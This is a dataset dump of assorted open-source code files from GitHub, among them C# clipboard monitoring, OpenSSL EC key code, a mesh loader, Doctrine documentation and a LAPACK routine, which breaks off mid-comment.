text
stringlengths
2
100k
meta
dict
using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace TextHookLibrary { public class ClipboardNotification { [DllImport("User32.dll", CharSet = CharSet.Auto)] public static extern IntPtr SetClipboardViewer(IntPtr hWnd); [DllImport("User32.dll", CharSet = CharSet.Auto)] public static extern bool ChangeClipboardChain(IntPtr hWndRemove, IntPtr hWndNewNext); IntPtr winHandle; IntPtr ClipboardViewerNext; public ClipboardNotification(IntPtr winH) { winHandle = winH; } public void RegisterClipboardViewer() { ClipboardViewerNext = SetClipboardViewer(winHandle); } public void UnregisterClipboardViewer() { ChangeClipboardChain(winHandle, ClipboardViewerNext); } } /// <summary> /// 剪贴板更新事件 /// </summary> /// <param name="ClipboardText">更新的文本</param> public delegate void ClipboardUpdateEventHandler(string ClipboardText); /// <summary> /// 使用一个隐藏窗口来接受窗口消息,对外就是剪贴板监视类 /// </summary> public class ClipboardMonitor : Form { public event ClipboardUpdateEventHandler onClipboardUpdate; private IntPtr hWnd; public ClipboardNotification cn; public ClipboardMonitor(ClipboardUpdateEventHandler onClipboardUpdate) { this.onClipboardUpdate = onClipboardUpdate; this.hWnd = this.Handle; cn = new ClipboardNotification(hWnd); cn.RegisterClipboardViewer(); } ~ClipboardMonitor() { cn.UnregisterClipboardViewer(); } protected override void WndProc(ref Message m) { switch ((int)m.Msg) { case 0x308: //WM_DRAWCLIPBOARD { IDataObject iData = Clipboard.GetDataObject(); if (iData != null) { string str = (string)iData.GetData(DataFormats.Text); this.onClipboardUpdate(str); } else { this.onClipboardUpdate("剪贴板更新失败 ClipBoard Update Failed"); } break; } default: { base.WndProc(ref m); break; } } } } }
{ "pile_set_name": "Github" }
Fachhochschule Hildesheim/Holzminden/Göttingen, Hochschule für angewandte Wissenschaft und Kunst
{ "pile_set_name": "Github" }
#if __IOS__ using System; using System.Collections.Generic; using System.Text; using Uno.Extensions; using UIKit; using Uno.Logging; using Windows.ApplicationModel.Core; namespace Windows.Graphics.Display { public sealed partial class BrightnessOverride { private static UIScreen Window => UIScreen.MainScreen; /// <summary> /// Sets the brightness level within a range of 0 to 1 and the override options. /// When your app is ready to change the current brightness with what you want to override it with, call StartOverride(). /// </summary> /// <param name="brightnessLevel">double 0 to 1 </param> /// <param name="options"></param> public void SetBrightnessLevel(double brightnessLevel, DisplayBrightnessOverrideOptions options) { _targetBrightnessLevel = brightnessLevel.Clamp(0, 1); } /// <summary> /// Request to start overriding the screen brightness level. /// </summary> public void StartOverride() { this.Log().InfoIfEnabled(() => "Starting brightness override"); //This was added to make sure the brightness is restored when re-opening the app after a lock. CoreApplication.Resuming -= OnResuming; CoreApplication.Resuming += OnResuming; _defaultBrightnessLevel = Window.Brightness; Window.Brightness = (float)_targetBrightnessLevel; GetForCurrentView().IsOverrideActive = true; } /// <summary> /// Stops overriding the brightness level. /// </summary> public void StopOverride() { if (GetForCurrentView().IsOverrideActive) { this.Log().InfoIfEnabled(() => "Stopping brightness override"); CoreApplication.Resuming -= OnResuming; Window.Brightness = (float)_defaultBrightnessLevel; GetForCurrentView().IsOverrideActive = false; } } private void OnResuming(object sender, object e) { StartOverride(); } } } #endif
{ "pile_set_name": "Github" }
/* Written by Dr Stephen N Henson ([email protected]) for the OpenSSL * project 2006. */ /* ==================================================================== * Copyright (c) 2006 The OpenSSL Project. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * 3. All advertising materials mentioning features or use of this * software must display the following acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" * * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to * endorse or promote products derived from this software without * prior written permission. For written permission, please contact * [email protected]. * * 5. Products derived from this software may not be called "OpenSSL" * nor may "OpenSSL" appear in their names without prior written * permission of the OpenSSL Project. * * 6. Redistributions of any form whatsoever must retain the following * acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" * * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * ==================================================================== * * This product includes cryptographic software written by Eric Young * ([email protected]). This product includes software written by Tim * Hudson ([email protected]). */ #include <openssl/evp.h> #include <string.h> #include <openssl/bn.h> #include <openssl/buf.h> #include <openssl/digest.h> #include <openssl/ec.h> #include <openssl/ec_key.h> #include <openssl/ecdh.h> #include <openssl/ecdsa.h> #include <openssl/err.h> #include <openssl/mem.h> #include <openssl/obj.h> #include "internal.h" #include "../ec/internal.h" typedef struct { /* message digest */ const EVP_MD *md; } EC_PKEY_CTX; static int pkey_ec_init(EVP_PKEY_CTX *ctx) { EC_PKEY_CTX *dctx; dctx = OPENSSL_malloc(sizeof(EC_PKEY_CTX)); if (!dctx) { return 0; } memset(dctx, 0, sizeof(EC_PKEY_CTX)); ctx->data = dctx; return 1; } static int pkey_ec_copy(EVP_PKEY_CTX *dst, EVP_PKEY_CTX *src) { EC_PKEY_CTX *dctx, *sctx; if (!pkey_ec_init(dst)) { return 0; } sctx = src->data; dctx = dst->data; dctx->md = sctx->md; return 1; } static void pkey_ec_cleanup(EVP_PKEY_CTX *ctx) { EC_PKEY_CTX *dctx = ctx->data; if (!dctx) { return; } OPENSSL_free(dctx); } static int pkey_ec_sign(EVP_PKEY_CTX *ctx, uint8_t *sig, size_t *siglen, const uint8_t *tbs, size_t tbslen) { unsigned int sltmp; EC_KEY *ec = ctx->pkey->pkey.ec; if (!sig) { *siglen = ECDSA_size(ec); return 1; } else if (*siglen < (size_t)ECDSA_size(ec)) { OPENSSL_PUT_ERROR(EVP, EVP_R_BUFFER_TOO_SMALL); return 0; } if (!ECDSA_sign(0, tbs, tbslen, sig, &sltmp, ec)) { return 0; } *siglen = (size_t)sltmp; return 1; } static int pkey_ec_verify(EVP_PKEY_CTX *ctx, const uint8_t *sig, size_t siglen, const uint8_t *tbs, size_t tbslen) { return ECDSA_verify(0, tbs, tbslen, sig, siglen, ctx->pkey->pkey.ec); } static int pkey_ec_derive(EVP_PKEY_CTX *ctx, uint8_t *key, size_t *keylen) { int ret; size_t outlen; const EC_POINT *pubkey = NULL; EC_KEY *eckey; if (!ctx->pkey || !ctx->peerkey) { OPENSSL_PUT_ERROR(EVP, EVP_R_KEYS_NOT_SET); return 0; } eckey = ctx->pkey->pkey.ec; if (!key) { const EC_GROUP *group; group = EC_KEY_get0_group(eckey); *keylen = (EC_GROUP_get_degree(group) + 7) / 8; return 1; } pubkey = EC_KEY_get0_public_key(ctx->peerkey->pkey.ec); /* NB: unlike PKCS#3 DH, if *outlen is less than maximum size this is * not an error, the result is truncated. */ outlen = *keylen; ret = ECDH_compute_key(key, outlen, pubkey, eckey, 0); if (ret < 0) { return 0; } *keylen = ret; return 1; } static int pkey_ec_ctrl(EVP_PKEY_CTX *ctx, int type, int p1, void *p2) { EC_PKEY_CTX *dctx = ctx->data; switch (type) { case EVP_PKEY_CTRL_MD: if (EVP_MD_type((const EVP_MD *)p2) != NID_sha1 && EVP_MD_type((const EVP_MD *)p2) != NID_ecdsa_with_SHA1 && EVP_MD_type((const EVP_MD *)p2) != NID_sha224 && EVP_MD_type((const EVP_MD *)p2) != NID_sha256 && EVP_MD_type((const EVP_MD *)p2) != NID_sha384 && EVP_MD_type((const EVP_MD *)p2) != NID_sha512) { OPENSSL_PUT_ERROR(EVP, EVP_R_INVALID_DIGEST_TYPE); return 0; } dctx->md = p2; return 1; case EVP_PKEY_CTRL_GET_MD: *(const EVP_MD **)p2 = dctx->md; return 1; case EVP_PKEY_CTRL_PEER_KEY: /* Default behaviour is OK */ return 1; default: OPENSSL_PUT_ERROR(EVP, EVP_R_COMMAND_NOT_SUPPORTED); return 0; } } static int pkey_ec_keygen(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey) { if (ctx->pkey == NULL) { OPENSSL_PUT_ERROR(EVP, EVP_R_NO_PARAMETERS_SET); return 0; } EC_KEY *ec = EC_KEY_new(); if (ec == NULL || !EC_KEY_set_group(ec, EC_KEY_get0_group(ctx->pkey->pkey.ec)) || !EC_KEY_generate_key(ec)) { EC_KEY_free(ec); return 0; } EVP_PKEY_assign_EC_KEY(pkey, ec); return 1; } const EVP_PKEY_METHOD ec_pkey_meth = { EVP_PKEY_EC, pkey_ec_init, pkey_ec_copy, pkey_ec_cleanup, pkey_ec_keygen, pkey_ec_sign, pkey_ec_verify, 0 /* verify_recover */, 0 /* encrypt */, 0 /* decrypt */, pkey_ec_derive, pkey_ec_ctrl, };
{ "pile_set_name": "Github" }
namespace Terraria.ModLoader.Default.Patreon { internal class Orian_Head : PatreonItem { public override string SetName => "Orian"; public override EquipType ItemEquipType => EquipType.Head; public override bool IsVanitySet(int head, int body, int legs) { return head == mod.GetEquipSlot($"{SetName}_{EquipType.Head}", EquipType.Head) && body == mod.GetEquipSlot($"{SetName}_{EquipType.Body}", EquipType.Body) && legs == mod.GetEquipSlot($"{SetName}_{EquipType.Legs}", EquipType.Legs); } public override void UpdateVanitySet(Player player) { PatronModPlayer.Player(player).OrianSet = true; } public override void SetDefaults() { base.SetDefaults(); item.width = 24; item.height = 24; } } internal class Orian_Body : PatreonItem { public override string SetName => "Orian"; public override EquipType ItemEquipType => EquipType.Body; public override void SetDefaults() { base.SetDefaults(); item.width = 30; item.height = 20; } } internal class Orian_Legs : PatreonItem { public override string SetName => "Orian"; public override EquipType ItemEquipType => EquipType.Legs; public override void SetDefaults() { base.SetDefaults(); item.width = 22; item.height = 18; } public override void UpdateVanity(Player player, EquipType type) { player.shoe = 0; } } }
{ "pile_set_name": "Github" }
// // Copyright (c) 2009-2010 Mikko Mononen [email protected] // // This software is provided 'as-is', without any express or implied // warranty. In no event will the authors be held liable for any damages // arising from the use of this software. // Permission is granted to anyone to use this software for any purpose, // including commercial applications, and to alter it and redistribute it // freely, subject to the following restrictions: // 1. The origin of this software must not be misrepresented; you must not // claim that you wrote the original software. If you use this software // in a product, an acknowledgment in the product documentation would be // appreciated but is not required. // 2. Altered source versions must be plainly marked as such, and must not be // misrepresented as being the original software. // 3. This notice may not be removed or altered from any source distribution. // #include "MeshLoaderObj.h" #include <stdio.h> #include <stdlib.h> #include <cstring> #define _USE_MATH_DEFINES #include <math.h> rcMeshLoaderObj::rcMeshLoaderObj() : m_scale(1.0f), m_verts(0), m_tris(0), m_normals(0), m_vertCount(0), m_triCount(0) { } rcMeshLoaderObj::~rcMeshLoaderObj() { delete [] m_verts; delete [] m_normals; delete [] m_tris; } void rcMeshLoaderObj::addVertex(float x, float y, float z, int& cap) { if (m_vertCount+1 > cap) { cap = !cap ? 8 : cap*2; float* nv = new float[cap*3]; if (m_vertCount) memcpy(nv, m_verts, m_vertCount*3*sizeof(float)); delete [] m_verts; m_verts = nv; } float* dst = &m_verts[m_vertCount*3]; *dst++ = x*m_scale; *dst++ = y*m_scale; *dst++ = z*m_scale; m_vertCount++; } void rcMeshLoaderObj::addTriangle(int a, int b, int c, int& cap) { if (m_triCount+1 > cap) { cap = !cap ? 8 : cap*2; int* nv = new int[cap*3]; if (m_triCount) memcpy(nv, m_tris, m_triCount*3*sizeof(int)); delete [] m_tris; m_tris = nv; } int* dst = &m_tris[m_triCount*3]; *dst++ = a; *dst++ = b; *dst++ = c; m_triCount++; } static char* parseRow(char* buf, char* bufEnd, char* row, int len) { bool start = true; bool done = false; int n = 0; while (!done && buf < bufEnd) { char c = *buf; buf++; // multirow switch (c) { case '\\': break; case '\n': if (start) break; done = true; break; case '\r': break; case '\t': case ' ': if (start) break; // else falls through default: start = false; row[n++] = c; if (n >= len-1) done = true; break; } } row[n] = '\0'; return buf; } static int parseFace(char* row, int* data, int n, int vcnt) { int j = 0; while (*row != '\0') { // Skip initial white space while (*row != '\0' && (*row == ' ' || *row == '\t')) row++; char* s = row; // Find vertex delimiter and terminated the string there for conversion. while (*row != '\0' && *row != ' ' && *row != '\t') { if (*row == '/') *row = '\0'; row++; } if (*s == '\0') continue; int vi = atoi(s); data[j++] = vi < 0 ? vi+vcnt : vi-1; if (j >= n) return j; } return j; } bool rcMeshLoaderObj::load(const std::string& filename) { char* buf = 0; FILE* fp = fopen(filename.c_str(), "rb"); if (!fp) return false; if (fseek(fp, 0, SEEK_END) != 0) { fclose(fp); return false; } long bufSize = ftell(fp); if (bufSize < 0) { fclose(fp); return false; } if (fseek(fp, 0, SEEK_SET) != 0) { fclose(fp); return false; } buf = new char[bufSize]; if (!buf) { fclose(fp); return false; } size_t readLen = fread(buf, bufSize, 1, fp); fclose(fp); if (readLen != 1) { delete[] buf; return false; } char* src = buf; char* srcEnd = buf + bufSize; char row[512]; int face[32]; float x,y,z; int nv; int vcap = 0; int tcap = 0; while (src < srcEnd) { // Parse one row row[0] = '\0'; src = parseRow(src, srcEnd, row, sizeof(row)/sizeof(char)); // Skip comments if (row[0] == '#') continue; if (row[0] == 'v' && row[1] != 'n' && row[1] != 't') { // Vertex pos sscanf(row+1, "%f %f %f", &x, &y, &z); addVertex(x, y, z, vcap); } if (row[0] == 'f') { // Faces nv = parseFace(row+1, face, 32, m_vertCount); for (int i = 2; i < nv; ++i) { const int a = face[0]; const int b = face[i-1]; const int c = face[i]; if (a < 0 || a >= m_vertCount || b < 0 || b >= m_vertCount || c < 0 || c >= m_vertCount) continue; addTriangle(a, b, c, tcap); } } } delete [] buf; // Calculate normals. m_normals = new float[m_triCount*3]; for (int i = 0; i < m_triCount*3; i += 3) { const float* v0 = &m_verts[m_tris[i]*3]; const float* v1 = &m_verts[m_tris[i+1]*3]; const float* v2 = &m_verts[m_tris[i+2]*3]; float e0[3], e1[3]; for (int j = 0; j < 3; ++j) { e0[j] = v1[j] - v0[j]; e1[j] = v2[j] - v0[j]; } float* n = &m_normals[i]; n[0] = e0[1]*e1[2] - e0[2]*e1[1]; n[1] = e0[2]*e1[0] - e0[0]*e1[2]; n[2] = e0[0]*e1[1] - e0[1]*e1[0]; float d = sqrtf(n[0]*n[0] + n[1]*n[1] + n[2]*n[2]); if (d > 0) { d = 1.0f/d; n[0] *= d; n[1] *= d; n[2] *= d; } } m_filename = filename; return true; }
{ "pile_set_name": "Github" }
/* * Copyright 2005 Red Hat, Inc. and/or its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.kie.api.event.kiebase; import org.kie.api.definition.process.Process; public interface BeforeProcessAddedEvent extends KieBaseEvent { Process getProcess(); }
{ "pile_set_name": "Github" }
/** @module {ConnectServer} blog/server */ module.exports = require('connect').createServer( Connect.logger(), Connect.conditionalGet(), Connect.favicon(), Connect.cache(), Connect.gzip(), require('wheat')(__dirname) ); /** @member {number} module:blog/server.port @default 8080 */
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!-- Copyright (C) 2011 The Android Open Source Project Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <!-- A set of preferences used to exercise the DevicePolicyManager API. --> <!-- This screen is shown for the "Encryption" header. --> <PreferenceScreen xmlns:android="http://schemas.android.com/apk/res/android" > <PreferenceCategory android:key="key_category_encryption" android:title="@string/encryption_category" > <CheckBoxPreference android:key="key_require_encryption" android:title="@string/require_encryption" /> <PreferenceScreen android:key="key_activate_encryption" android:title="@string/activate_encryption" /> </PreferenceCategory> </PreferenceScreen>
{ "pile_set_name": "Github" }
1 thai x-vnd.Haiku-GIFTranslator 2201651797 Websafe GIFView Websafe Write interlaced images GIFView เขียนภาพแบบอินเทอร์เลซ Optimal GIFView ดีที่สุด Greyscale GIFView เฉดสีเทา Colors: GIFView สี: GIF image translator GIFTranslator ตัวแปลรูปภาพ GIF Be Bitmap Format (GIFTranslator) GIFTranslator Be Bitmap Format (GIFTranslator) GIF image translator GIFView ตัวแปลภาพ GIF Palette: GIFView จานสี: GIF image GIFTranslator ภาพ GIF Write transparent images GIFView เขียนภาพโปร่งใส GIF images GIFTranslator ภาพ GIF Version %d.%d.%d, %s GIFView เวอรชั่น %d.%d.%d, %s Use RGB color GIFView ใช้สี RGB Use dithering GIFView ใช้ dithering GIF Settings GIFTranslator ตั้งค่า GIF BeOS system GIFView ระบบ BeOS Automatic (from alpha channel) GIFView อัตโนมัติ (จากช่องอัลฟา)
{ "pile_set_name": "Github" }
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> <xsd:include schemaLocation="opencms://opencms-xmlcontent.xsd"/> <xsd:include schemaLocation="opencms://system/modules/org.opencms.ade.containerpage/schemas/group_container_content_element.xsd"/> <xsd:element name="AlkaconGroupContainerElements" type="OpenCmsAlkaconGroupContainerElements"/> <xsd:complexType name="OpenCmsAlkaconGroupContainerElements"> <xsd:sequence> <xsd:element name="AlkaconGroupContainerElement" type="OpenCmsAlkaconGroupContainerElement" minOccurs="0" maxOccurs="unbounded"/> </xsd:sequence> </xsd:complexType> <xsd:complexType name="OpenCmsAlkaconGroupContainerElement"> <xsd:sequence> <xsd:element name="Title" type="OpenCmsString" minOccurs="1" maxOccurs="1" /> <xsd:element name="Description" type="OpenCmsString" minOccurs="1" maxOccurs="1" /> <xsd:element name="Type" type="OpenCmsString" minOccurs="0" maxOccurs="unbounded" /> <xsd:element name="Element" type="OpenCmsAlkaconGroupContainerContentElement" minOccurs="0" maxOccurs="unbounded" /> </xsd:sequence> <xsd:attribute name="language" type="OpenCmsLocale" use="optional"/> </xsd:complexType> <xsd:annotation> <xsd:appinfo> <resourcebundle name="org.opencms.xml.containerpage.messages"/> <mappings> <mapping element="Title" mapto="property:Title" /> <mapping element="Description" mapto="property:Description" /> </mappings> <validationrules> <rule element="Type" regex=".+" type="error" message="%(key.err.type.notempty)" /> </validationrules> </xsd:appinfo> </xsd:annotation> </xsd:schema>
{ "pile_set_name": "Github" }
<!DOCTYPE HTML> <html dir="rtl"> <title>Testcase, bug 428810</title> <style type="text/css"> html, body { margin: 0; padding: 0; } </style> <div style="height: 6px"> <div style="float: right; height: 20px; width: 116px"></div> </div> <div style="width: 70px; display: list-item; margin: 1px 32px 32px 1px; border: medium solid transparent; border-width: 2px 16px 16px 2px; padding: 4px 8px 8px 4px"> <div style="float: right; height: 20px; width: 15px"></div> </div>
{ "pile_set_name": "Github" }
15 0 12 0 1 1 2 1 6 1 11 1 3 2 9 2 13 2 12 2 3 3 14 4 7 5 6 6 14 7 11 8 14 9 13 10 12
{ "pile_set_name": "Github" }
package com.nihaojewelry.admin.shiro.service; import com.nihaojewelry.entity.Admin; import com.nihaojewelry.entity.SysUser; import java.util.Map; /** * @author:aodeng(低调小熊猫) * @blog:(https://aodeng.cc) * @Description: TODO * @Date: 19-5-4 **/ public interface ShiroService { /*** * 初始化权限 * @return */ Map<String, String> loadFilterChainDefinitions(); /*** * 重新加载权限 */ void updatePermission(); /*** * 重新加载用户权限 * @param user */ void reloadAuthorizingByUserId(Admin user); /*** * 重新加载所有拥有roleId角色的用户权限 * @param roleId */ void reloadAuthorizingByRoleId(Integer roleId); }
{ "pile_set_name": "Github" }
# Optimizing QueryObjects Using [QueryObjects](https://github.com/Kdyby/Doctrine/blob/master/docs/en/resultset.md#queryobject) and [DQL in general](http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/dql-doctrine-query-language.html), we might encounter a situation, where the query has many joins and the hydratation is taking a long time. You should [read here, why having many entities in result set is slow](http://goo.gl/XmSJe0). To be fair, that previous sentence is an oversimplification. In fact, having many toOne relations isn't slow, slow is to join and select toMany relations, because they are multiplying the rows and selected data, making it harder for the Doctrine hydrator to normalize it. ## How not to do it Let's have a query object ```php class ArticlesQuery extends QueryObject { protected function doCreateQuery(Queryable $repository) { $qb = $repository->createQueryBuilder() ->select('article')->from(Article::class, 'article') ->innerJoin('article.author', 'author')->addSelect('author') ->leftJoin('article.comments', 'comments')->addSelect('comments'); return $qb; } } ``` This is perfectly fine query, however Doctrine will have to check a very complex result set, as you can see in [Marco's article](http://goo.gl/XmSJe0) ## <strike>Harder,</strike> Better, Faster, Stronger Let's remove all toMany relations from the query. We can still filter by them if it's needed, we just won't select them. ```php class ArticlesQuery extends QueryObject { protected function doCreateQuery(Queryable $repository) { $qb = $repository->createQueryBuilder() ->select('article')->from(Article::class, 'article', 'article.id') ->innerJoin('article.author', 'author')->addSelect('author'); return $qb; } // ... ``` But wouldn't it now cause [the "1+N queries" problem](http://stackoverflow.com/questions/97197/what-is-the-n1-selects-issue)? Yes, it would, but that's what the `postFetch` method is for. ```php class ArticlesQuery extends QueryObject { // ... public function postFetch(Queryable $repository, \Iterator $iterator) { $ids = array_keys(iterator_to_array($iterator, TRUE)); $repository->createQueryBuilder() ->select('partial article.{id}')->from(Article::class, 'article') ->leftJoin('article.comments', 'comments')->addSelect('comments') ->andWhere('article.id IN (:ids)')->setParameter('ids', $ids) ->getQuery()->getResult(); } } ``` The `postFetch` method should be public, because the [ResultSet](https://github.com/Kdyby/Doctrine/blob/master/docs/en/resultset.md#resultset) is calling it every time it fetches a page of results, and it passes an iterator that contains only selected entities to the `postFetch`. So you can paginate over tens of thousands of results and every time you select a page, let's say a hundred, you get hundred entities. The first line of code in `postFetch` creates list of ids of those selected entities. It's possible to do it in this simple way, because we've told doctrine to index the result by `article.id`, in the third argument of `->from()`. Otherwise we would have to foreach over the iterator, or `array_map` it. I'd say that this is much simpler :) Now that we have the list of ids of selected articles, we can use those ids to filter second query, that is also selecting articles, but as you can see, its selecting only partial objects with field `id`. It's possible because the articles are already loaded in memory, in the UnitOfWork's IdentityMap from the first query. Because of that, Doctrine won't create new objects and we don't have to select the data twice. It will only initialize the joined collection for each one of those articles. ## Summary What this gives us? We now have the same result set as from the first query, but this time we've sent two SQL queries to the database, of which both transmitted **a lot** less data and the hydrator was able to process it much faster, making our application faster.
{ "pile_set_name": "Github" }
/* * See the NOTICE file distributed with this work for additional * information regarding copyright ownership. * * This is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this software; if not, write to the Free * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301 USA, or see the FSF site: http://www.fsf.org. */ package org.xwiki.configuration.internal; import java.util.Arrays; import java.util.Properties; import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.xwiki.component.manager.ComponentLookupException; import org.xwiki.configuration.ConfigurationSource; import org.xwiki.environment.Environment; import org.xwiki.test.mockito.MockitoComponentMockingRule; import static org.junit.Assert.assertEquals; import static org.mockito.Mockito.verify; import static org.mockito.Mockito.when; /** * Unit tests for {@link XWikiPropertiesConfigurationSource}. * * @version $Id: 2ee08ed725b450ccc4ae0e93e9e438796f591ab9 $ * @since 3.0M1 */ public class XWikiPropertiesConfigurationSourceTest { @Rule public MockitoComponentMockingRule<ConfigurationSource> mocker = new MockitoComponentMockingRule<>(XWikiPropertiesConfigurationSource.class); private Environment environment; @Before public void before() throws ComponentLookupException { this.environment = this.mocker.getInstance(Environment.class); } @Test public void testInitializeWhenNoPropertiesFile() throws Exception { // Verifies that we can get a property from the source (i.e. that it's correctly initialized) this.mocker.getComponentUnderTest().getProperty("key"); verify(this.mocker.getMockedLogger()).debug( "No configuration file [{}] found. Using default configuration values.", "/WEB-INF/xwiki.properties"); } @Test public void testListParsing() throws ComponentLookupException { when(environment.getResource("/WEB-INF/xwiki.properties")) .thenReturn(getClass().getResource("/xwiki.properties")); assertEquals(Arrays.asList("value1", "value2"), this.mocker.getComponentUnderTest().getProperty("listProperty")); Properties properties = this.mocker.getComponentUnderTest().getProperty("propertiesProperty", Properties.class); assertEquals("value1", properties.get("prop1")); } }
{ "pile_set_name": "Github" }
test = terralib.includecstring([[ typedef struct {} emptyanon; typedef struct foo foobar; void test(struct foo * f); struct foo { int x; }; union ufoo; typedef union { int a; int b; } anonunion; ]]) terra main() var s : test.foo s.x = 1 end main()
{ "pile_set_name": "Github" }
/*============================================================================= Copyright (c) 1998-2003 Joel de Guzman Copyright (c) 2001 Daniel Nuffer Copyright (c) 2002 Hartmut Kaiser http://spirit.sourceforge.net/ Use, modification and distribution is subject to the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) =============================================================================*/ #if !defined(BOOST_SPIRIT_SEQUENCE_IPP) #define BOOST_SPIRIT_SEQUENCE_IPP namespace boost { namespace spirit { BOOST_SPIRIT_CLASSIC_NAMESPACE_BEGIN /////////////////////////////////////////////////////////////////////////// // // sequence class implementation // /////////////////////////////////////////////////////////////////////////// template <typename A, typename B> inline sequence<A, B> operator>>(parser<A> const& a, parser<B> const& b) { return sequence<A, B>(a.derived(), b.derived()); } template <typename A> inline sequence<A, chlit<char> > operator>>(parser<A> const& a, char b) { return sequence<A, chlit<char> >(a.derived(), b); } template <typename B> inline sequence<chlit<char>, B> operator>>(char a, parser<B> const& b) { return sequence<chlit<char>, B>(a, b.derived()); } template <typename A> inline sequence<A, strlit<char const*> > operator>>(parser<A> const& a, char const* b) { return sequence<A, strlit<char const*> >(a.derived(), b); } template <typename B> inline sequence<strlit<char const*>, B> operator>>(char const* a, parser<B> const& b) { return sequence<strlit<char const*>, B>(a, b.derived()); } template <typename A> inline sequence<A, chlit<wchar_t> > operator>>(parser<A> const& a, wchar_t b) { return sequence<A, chlit<wchar_t> >(a.derived(), b); } template <typename B> inline sequence<chlit<wchar_t>, B> operator>>(wchar_t a, parser<B> const& b) { return sequence<chlit<wchar_t>, B>(a, b.derived()); } template <typename A> inline sequence<A, strlit<wchar_t const*> > operator>>(parser<A> const& a, wchar_t const* b) { return sequence<A, strlit<wchar_t const*> >(a.derived(), b); } template <typename B> inline sequence<strlit<wchar_t const*>, B> operator>>(wchar_t const* a, parser<B> const& b) { return sequence<strlit<wchar_t const*>, B>(a, b.derived()); } BOOST_SPIRIT_CLASSIC_NAMESPACE_END }} // namespace boost::spirit #endif
{ "pile_set_name": "Github" }
/* dlags2.f -- translated by f2c (version 20061008). You must link the resulting object file with libf2c: on Microsoft Windows system, link with libf2c.lib; on Linux or Unix systems, link with .../path/to/libf2c.a -lm or, if you install libf2c.a in a standard place, with -lf2c -lm -- in that order, at the end of the command line, as in cc *.o -lf2c -lm Source for libf2c is in /netlib/f2c/libf2c.zip, e.g., http://www.netlib.org/f2c/libf2c.zip */ #include "f2c.h" #include "blaswrap.h" /* Subroutine */ int dlags2_(logical *upper, doublereal *a1, doublereal *a2, doublereal *a3, doublereal *b1, doublereal *b2, doublereal *b3, doublereal *csu, doublereal *snu, doublereal *csv, doublereal *snv, doublereal *csq, doublereal *snq) { /* System generated locals */ doublereal d__1; /* Local variables */ doublereal a, b, c__, d__, r__, s1, s2, ua11, ua12, ua21, ua22, vb11, vb12, vb21, vb22, csl, csr, snl, snr, aua11, aua12, aua21, aua22, avb11, avb12, avb21, avb22, ua11r, ua22r, vb11r, vb22r; extern /* Subroutine */ int dlasv2_(doublereal *, doublereal *, doublereal *, doublereal *, doublereal *, doublereal *, doublereal *, doublereal *, doublereal *), dlartg_(doublereal *, doublereal *, doublereal *, doublereal *, doublereal *); /* -- LAPACK auxiliary routine (version 3.2) -- */ /* Univ. of Tennessee, Univ. of California Berkeley and NAG Ltd.. */ /* November 2006 */ /* .. Scalar Arguments .. */ /* .. */ /* Purpose */ /* ======= */ /* DLAGS2 computes 2-by-2 orthogonal matrices U, V and Q, such */ /* that if ( UPPER ) then */ /* U'*A*Q = U'*( A1 A2 )*Q = ( x 0 ) */ /* ( 0 A3 ) ( x x ) */ /* and */ /* V'*B*Q = V'*( B1 B2 )*Q = ( x 0 ) */ /* ( 0 B3 ) ( x x ) */ /* or if ( .NOT.UPPER ) then */ /* U'*A*Q = U'*( A1 0 )*Q = ( x x ) */ /* ( 